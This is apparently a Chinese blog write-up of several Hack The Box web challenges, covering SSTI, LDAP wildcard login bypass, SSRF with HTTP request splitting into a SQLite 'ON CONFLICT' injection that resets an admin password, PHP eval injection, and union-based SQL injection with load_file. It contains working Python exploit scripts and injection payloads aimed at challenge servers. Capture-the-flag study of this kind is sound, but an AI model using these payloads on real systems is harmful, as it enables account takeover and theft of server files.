Contents
WEB
记录一下HTB上面的几道web题目,题目总体还是很有意思的
Emdee five for life
考察的比较基础的知识,给了一段字符串让我们对其进行md5加密,直接python获取再传输:
import requests
from hashlib import md5
from bs4 import BeautifulSoup
url="http://139.59.190.72:31216/"
r = requests.session()
ss=r.get(url=url)
soup= BeautifulSoup(ss.text,'html.parser')
for x in soup.find_all('h3'):
string=x.get_text()
en_string=md5(string.encode('utf8')).hexdigest()
print(string)
print(en_string)
sss=r.post(url=url,data={"hash":en_string})
print(sss.text)
#ppp=requests.post
#print(ss.text)
Templated
也是比较基础的题目,没有过滤的SSTI,先测试一下是否存在漏洞
执行了4*4,证明存在SSTI漏洞,直接用hackbar自带的payload打一下
直接查看flag的内容即可
Phonebook
这个题目还是很有意思的,不过就是考察的点比较老,后来在先知上找了相应的文章才看明白
访问首页是一个比较简单的登陆页面,查看源码发现所有的静态文件都在同一个目录下,直接访问该目录,成功进入后台
不过后台功能比较简单,没有可利用的点,猜测应该是在登陆页面下存在漏洞
回到登陆页面,用burp跑一下关键的注入字符
发现username和password都为”*”时,登陆成功,想了一下应该不是常见的注入,去搜索了一下,发现这篇文章
在里面看到了熟悉的字符“*”
然后根据文章的讲解,我就发现了使用“*”字符成功登陆的原因
大概原理就是“*”字符在LDAP注入中属于通配符,此时如果数据库中存在用户admin,密码为admin时,我们输入:
username=admin&password=* #可以成功登陆
username=*&password=admin #可以成功登陆
所以:
username=a*&password=* #可以成功登陆,同时可以判断出用户名的第一个字符为"a",然后以此类推“ad*”可以成功登陆
根据上面的思路,我们即可成功获取到用户的用户名和正确的密码了,直接上python脚本(跑用户名的时候没有出问题,后来跑密码时候发现出不了数据,测了一下是由于数字没在数组中,所以字符集一定要设置的比较完善)
import requests
url="http://206.189.121.131:30244/login"
dir=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","#","$","%","@","!","0","1","2","3","4","5","6","7","8","9","{","}","[","]","_","&","^"," "]
j=""
# data={"username":"*","password":"*"}
# res=requests.post(url=url,data=data)
for i in range(32):
for i in dir:
#print(i+"*")
data={"username":"reese","password":j+i+"*"}
res=requests.post(url=url,data=data)
if "Login" in res.text:
#print("wrong")
continue
else:
#print(i)
j+=i
print("[+]password_is:"+j)
# if "Login" in res.text:
# print(1)
# else:
# print(12)
#print(res.text)
、
weather APP
题目给了附件
直接给了docker文件和源码,先看看源码获取一下题目逻辑,nodejs的站,在routes目录下看到了获取flag的条件
如果成为admin用户即可获取到/app/flag的内容,那么下一步就分析一下如何成为admin用户,在databases.js里面写了,admin用户存储在数据库内,同时密码是随机生成的,我们想要通过正常的暴力破解是没有用的,剩下的就是通过注入的方式获取密码
看了一下在register处,没有对我们输入的用户名和密码的参数进行处理,直接传输到了数据库中,猜测我们可以通过这里去修改数据库的信息
同时看了一下isadmin函数的判断方式
我们想要成为admin用户,就必须知道admin用户的密码,所以整体下来思路就比较清晰了,通过register处,进行注入,获取或修改admin用户的密码,我们在看一下,register接口访问需要哪些条件,在routes/index.js文件中
发现register接口需要我们进行本地访问,那我们就要查看哪些位置可以进行SSRF了,
“`challenge/helpers/WeatherHelper.js“`
发现此处url属于可控的,跟一下内容,发现我们需要在
“`/api/weather“`里面提交
那么这道题目的思路就清晰了:在
“`/api/weather“`处构造SSRF,访问本地register接口传输用户名和密码进行注入,然后获取到admin用户的密码,登陆拿到flag。
首先我们需要分析一下注入的方式,看一下sql语句:
INSERT INTO users (username, password) VALUES ('${user}', '${pass}')
发现这样插入数据是不会直接将内容回显出来的,不过我们可以通过这种方式修改admin用户的密码,由于mysql不能同时执行两个语句,我们可以使用CONFLICT来解决这个问题,这个其实我在做题的时候没想到,找的歪国老哥的wp看的思路,我们想要写入数据库的语句:
INSERT INTO users (username, password) VALUES ('user', '1337'); UPDATE users SET password='admin' WHERE username='admin';--')
不过这样直接写入mysql中,语句会报错,所以我们需要构造最后写入数据库中的语句:
INSERT INTO users (username, password) VALUES ('admin', '1') ON CONFLICT(username) DO UPDATE SET password = 'admin';--')
简单的来讲就是我们后面执行的update语句把username作为了主要的主键进行查询,这样后面语句执行的就是修改用户名为admin的密码为admin,那么我们就通过这个语句重置了admin用户的密码。构造输入:
username=admin')
password=1') ON CONFLICT(username) DO UPDATE SET password = 'admin';--
即可重置admin用户的密码,下一步就是SSRF了,我们需要构造数据包:
POST /register HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
username=admin')&password=1') ON CONFLICT(username) DO UPDATE SET password = 'admin';--
不过这里因为涉及到了node js的数据包传输问题,我最开始是用了w4nder在js相关trick总结的转换脚本:
payload = """ POST /register HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
""".replace('\n', '\r\n')
body =
"""
username=admin')&password=1') ON CONFLICT(username) DO UPDATE SET password = 'admin';--
""".replace('\n', '\r\n').replace('+', '\u012b')
payload = payload.format(len(body), body) \
.replace(' ', '\u0120') \
.replace('\r\n', '\u010d\u010a') \
.replace('"', '\u0122') \
.replace("'", '\u0127') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
.replace('(', '\u0128') \
+ 'GET' + '\u0120' + '/'
不过打过去一直没有反应,后来看歪国老哥的wp,他构造的数据包纯手撸的,真ne阿
那我们也用最笨的方法进行手撸,最后构造脚本:
import requests
url = "http://46.101.44.190:31321"
username="admin"
password="123') ON CONFLICT(username) DO UPDATE SET password = 'admin';--"
parsedUsername = username.replace(" ","\u0120").replace("'", "%27").replace('"', "%22")
parsedPassword = password.replace(" ","\u0120").replace("'", "%27").replace('"', "%22")
contentLength = len(parsedUsername) + len(parsedPassword) + 19
endpoint = '127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120' + str (contentLength) + '\u010D\u010A\u010D\u010Ausername='+parsedUsername + '&password='+ parsedPassword + '\u010D\u010A\u010D\u010AGET\u0120/?lol='
city='test'
country='test'
json={'endpoint':endpoint,'city':city,'country':country}
res=requests.post(url=url+'/api/weather',json=json)
执行之后,输入admin/admin登陆即可获取flag
LoveTok
php的代码审计题目,同样题目给了我们docker和代码,还是先简单读一下代码,在
“`timeModle.php“`下,发现eval函数
继续看一下,eval里面的参数我们是否可控,发信format参数我们是可控的
同时因为存在拼接符的问题,我们直接利用php的变种执行方式:
直接执行一下phpinfo
构造一下外带数据传参执行system函数
成功执行命令,再获取flag内容即可
FreeLancer
访问首页,查看一下源码
一团乱麻,直接搜索一下关键词:“.php”
发现两个php的跳转文件,注释这个更加的显示出问题,直接访问并测试一下参数
发现直接执行异或了,别的不说先上sqlmap
sqlmap获取了一圈没发现flag,那就脚本小子第二弹,扫目录找信息
发现目录,访问过去是一个登陆页面,直接用load_file读一下源码
-1 union select 1,2,load_file("/var/www/html/administrat/index.php")
发现跳转页面,直接读这个源码
成功获取flag